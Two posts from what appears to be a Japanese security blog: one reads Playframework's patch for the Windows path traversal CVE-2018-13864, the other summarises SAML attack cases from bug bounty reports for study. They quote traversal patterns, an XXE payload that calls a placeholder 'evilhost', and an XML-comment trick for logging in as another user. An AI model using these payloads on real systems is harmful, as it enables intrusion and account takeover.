ぶるーたるごぶりん

UI, UX, セキュリティとか😘

Webフレームワークの脆弱性対策コードを読む (Playframework part1)

追記

2019/09/04現在、報告されているPlayframeworkの脆弱性の全て (ver2系のみ)まとめました。 http://brutalgoblin.hatenablog.jp/entry/2019/08/20/133641

はじめに

フレームワーク脆弱性対策コードを普段読まれる方は割と少ないと思うので自分も勉強がでら読みながら問題となった事象、対策のコードではどうなっているかといった事をまとめてみます。

※注意 脆弱性の対策コードを読む中で、中にはクリティカルな脆弱性かつ、PoCも公開されていないものにも関わらず、 調査中PoCが思いついてしまうかもしれません。
ただ、そういった場合は若干濁した書き方をするかもしれませんがご了承ください。

また、筆者の知識不足で誤った書き方をするかもしれませんが、その際はガンガン指摘を頂けますと嬉しいです。

Playframework Part1

初回はPlayframeworkの脆弱性について調べていきます。
(しばらくはPlayframeworkの脆弱性のみまとめていきます。) 今回はScalaの主要WebフレームワークであるPlayframeworkの脆弱性対策コードを読んでいきます。

Playframeworkのセキュリティアップデートは以下のURLにまとまっています。

Play Security Vulnerabilities

CVE-2018-13864 (Path Traversal)

こちらが今回の対象脆弱性です。 https://www.playframework.com/security/vulnerability/CVE-2018-13864-PathTraversal

CVSS: 6.7
影響バージョン: Play 2.6.12-2.6.15

最初のターゲットはパストラバーサルです。
最近のWebアプリエンジニアであれば「パストラバーサルなんてそんな簡単に起こらないでしょw」と笑っている事が多いかもしれません。
ただ、フレームワークやNginxやTomcatといった物でも、結構な頻度でパストラバーサル脆弱性やバグハンティングのレポートが上がっています。
実際、nginxであれば末尾の / が無かっただけでパストラバーサルが発生してしまったといったことが容易に起こります。

興味ある方はTomcatやNginxにおけるパストラバーサル脆弱性について書かれている以下の資料を是非見てください。 台湾のバグハンター Orange TsaiさんのBlackHat発表資料です。メチャクチャ面白いです。 https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf


さて、本題です。 今回の脆弱性 CVE-2018-13864 の概要を読みますと、
Playframework のAssets(静的ファイルなどのディレクトリ)用の Controllerにある、Windows限定のパストラバーサル脆弱性になります。

早速コードを追ってみましょう。チェンジログは以下のURLです。
(チェンジログにはパストラバーサルの修正以外も若干入ってます。) https://github.com/playframework/playframework/compare/2.6.15...2.6.16/

まず、以下のファイルを見てみましょう。

framework/src/play/src/main/scala/play/api/controllers/Assets.scala

private def fileLikeCanonicalPath(path: String): String = {
       @tailrec
       def normalizePathSegments(accumulated: Seq[String], remaining: List[String]): Seq[String] = {
         remaining match {
           case Nil => // Return the accumulated result
             accumulated
           case "." :: rest => // Ignore '.' path segments
             normalizePathSegments(accumulated, rest)
           case ".." :: rest => // Remove last segment (if possible) when '..' is encountered
             val newAccumulated = if (accumulated.isEmpty) Seq("..") else accumulated.dropRight(1)
             normalizePathSegments(newAccumulated, rest)
           case segment :: rest => // Append new segment
            normalizePathSegments(accumulated :+ segment, rest)
        }
      }
      val splitPath: List[String] = path.split('/').toList // 修正前
      val splitPath: List[String] = path.split(filePathSeparators).toList // 修正後
      val splitNormalized: Seq[String] = normalizePathSegments(Vector.empty, splitPath)
      splitNormalized.mkString("/")
    }

このファイルはAssetsファイル用のControllerClassで、おそらく今回の脆弱性の原因となったファイルだと思われます。

このファイルでは、URLのパスをsplitし、split結果をnormalizePathSegmentsという関数に渡すことで、再帰的にパスを整形するという動きをしています。
注目すべきところは、コメントアウトにて追加した、修正前、修正後と記載されている部分になります。

修正前は / というディレクトリの区切り文字によるsplitが行われていますが、
修正後は、 filePathSeparators という、区切り文字の配列が設定されています。
filePathSeparators 自体は以下になります。

framework/src/play/src/main/scala/play/api/controllers/Assets.scala

// Ideally, this should be only '/' (which is a valid separator in Windows) and File.separatorChar, but we
// need to keep '/', '\' and File.separatorChar so that we can test for Windows '\' separator when running
// the tests on Linux/macOS.
private val filePathSeparators = Array('/', '\\', File.separatorChar).distinct

コメントアウトや、 filePathSeparators の値を見て分かる通り、
パスの指定方法には / 以外にも、 \\, File.separatorChar の3つが指定されています。 つまり、この脆弱性で突かれたのは、Windows環境におけるファイルパスの扱い( \\, File.separatorChar )の考慮が漏れていたということになります。

File.separatorCharは以下のURLに書かれている内容のように、UNIX環境とWindows環境におけるパスの違いを考慮に入れた文字が入るようです ( /, \\ )。
https://docs.oracle.com/javase/jp/6/api/java/io/File.html#separatorChar

そのため、おそらく /../と言ったパターンは考慮されていたものの、 /..%5C%5C, /..\\ と言ったパターンの考慮が漏れていたということがわかります。

FWなどの複数環境で利用されることを考慮に入れた開発では開発環境毎の差を常に意識しなければならず、そういった環境でのセキュアコーディングの難しさがわかります。

おわりに

今回は比較的小さな修正と小さい(?)問題なので簡単に終わりました。 Part2では 20171005-CorsVaryHeader キャッシュポイズニングを発生してしまうような環境に一定の条件が重なるとなってしまうという問題の解消を行なった対応について書いてみようと思います。

https://www.playframework.com/security/vulnerability/20171005-CorsVaryHeader

SSO(SAML)の実装と攻撃例

はじめに

SAML関連で診断をすることになったが、やんわりとした知識しかないため、 SAMLの攻撃事例を読んでそれをざっくりまとめる。

認証フローなどはネットに軽い奴がまとまっているのでそれらを参考に読むと良いのかも?

※2018/11/22 事例を1つ追加 ( XMLのコメントアウトを利用した認証バイパス の章)

思いつく攻撃

  • XMLをアップロードするのでそこでXML外部エンティティ参照とかがあるのかも?
  • あとはアプリケーション自体がXMLファイルからidP(Identity provider、所謂認証サーバ?)へ認証リクエストを送るから そこを利用してSSRFなどのイントラネットへのリクエストが送れるかも?

上記2つはどちらかというと認証に対する攻撃とは別なので、認証部分の攻撃については 後述する事例で見ていく。

事例とざっくりまとめ

SAML + HackerOne とかでググって引っかかった奴をすごくざっくりまとめる。 英語力は低いので読み間違いしてる可能性があるので参考程度に。

SAML経由のXXE

hackerone.com

この報告ではSAMLで利用されるXMLを利用して XXL(XMLの外部エンティティ参照)の攻撃を行なっている。 予想した通り事例としてあった。 この報告ではPOSTのBody部分に以下の処理を行なったパラメータを送っている。 Raw XML => Base64 Encode => URL Encode

この処理部分では通常のSAMLで利用されるXML<!DOCTYPE foo [ <!ENTITY % asd SYSTEM "http://evilhost"> %asd;]> と言った外部エンティティを参照するペイロードが仕込まれている。

SAMLの署名検証の不備による認証バイパス

Uber Bug Bounty: Gaining Access To An Internal Chat&nbsp;Systemmishresec.wordpress.com

この報告ではSAMLの実装で署名の検証が行われているかをまずチェックしている。 つまり、署名のないXMLを送信するという検証方法。

本来であればここでSAML発行者の確認のため「署名が含まれていないためSAMLアサーションが無効」となることが期待される。 ただ、この例では302の応答をしており、結果バイパスが可能であったという例

SSO の認証認可のバイパス

hackerone.com

/accounts/$account_id/sso/saml/finalize という、SSOの認証フローの最後に呼ばれる処理(アプリへのアクセス許可を出す部分)に対して SAML形式のカスタムPOSTを直接送ることで認証がバイパスできるという問題。 つまり、一連の認証認可フローをすっ飛ばしで最後の認証トークン払い出し部分を直接POSTしにいく感じ。

この問題はSAMLがX.509 (PKIの規格)を利用したidentity provider で構築されていないことによる問題 (と書いてあったがX.509周りが殆どと言っていいくらいわかっていないため内容をしっかり理解できていない。)

攻撃方法としては base64エンコードしたアカウントIDとユーザメールをペイロードとした pocファイルをPost。

XMLコメントアウトを利用した認証バイパス

※2018/11/22 に追記

Blackhatの資料 https://data.hackinn.com/ppt/BlackHat-USA-2018/us-18-Ludwig-Identity-Theft-Attacks-On-SSO-Systems.pdf

色々なSAML認証用ライブラリに、脆弱性が複数あったという話。 Aユーザ用のSAMLXMLを書き換えることで、Bのユーザでログインできてしまうという問題があった(であってる?)。
SAMLXML言語実装では <!----> といったコメントアウトは許可されているが、それを実装しているライブラリの中には、コメントアウトをtruncate するときの挙動が若干微妙だったりする物があり、そこを突いたという話。

例えば user-hogehoge@fugaa.comuser-hogehoge@fugaa.com<!---->truncated とやると、 コメントアウトから後の部分は無視される実装になっていたりすると言うもの。
これで、他人のXMLを利用してログインができてしまうといった攻撃に繋がる可能性があると言う話。

まとめ

やはり攻撃的にはXXEなどの話がちょくちょくあった。 一方で認証のバイパスなどはあまり知識を持っていなかったため学びが多いかった。

テストをする際は認証フローを順番に試す他に、 単体レベルで試していく・攻撃していくと良いと感じた。 また、認証周りはフローをしっかり理解し、その上で署名などの検証不備などをしっかりと チェックしていく重要性が感じられる。 そのためにも認証自体を仕様レベルである程度でも把握しているとバグバウンティなどでは 効いてきそうに感じた。

間違いなどがあればご指摘いただけると助かります。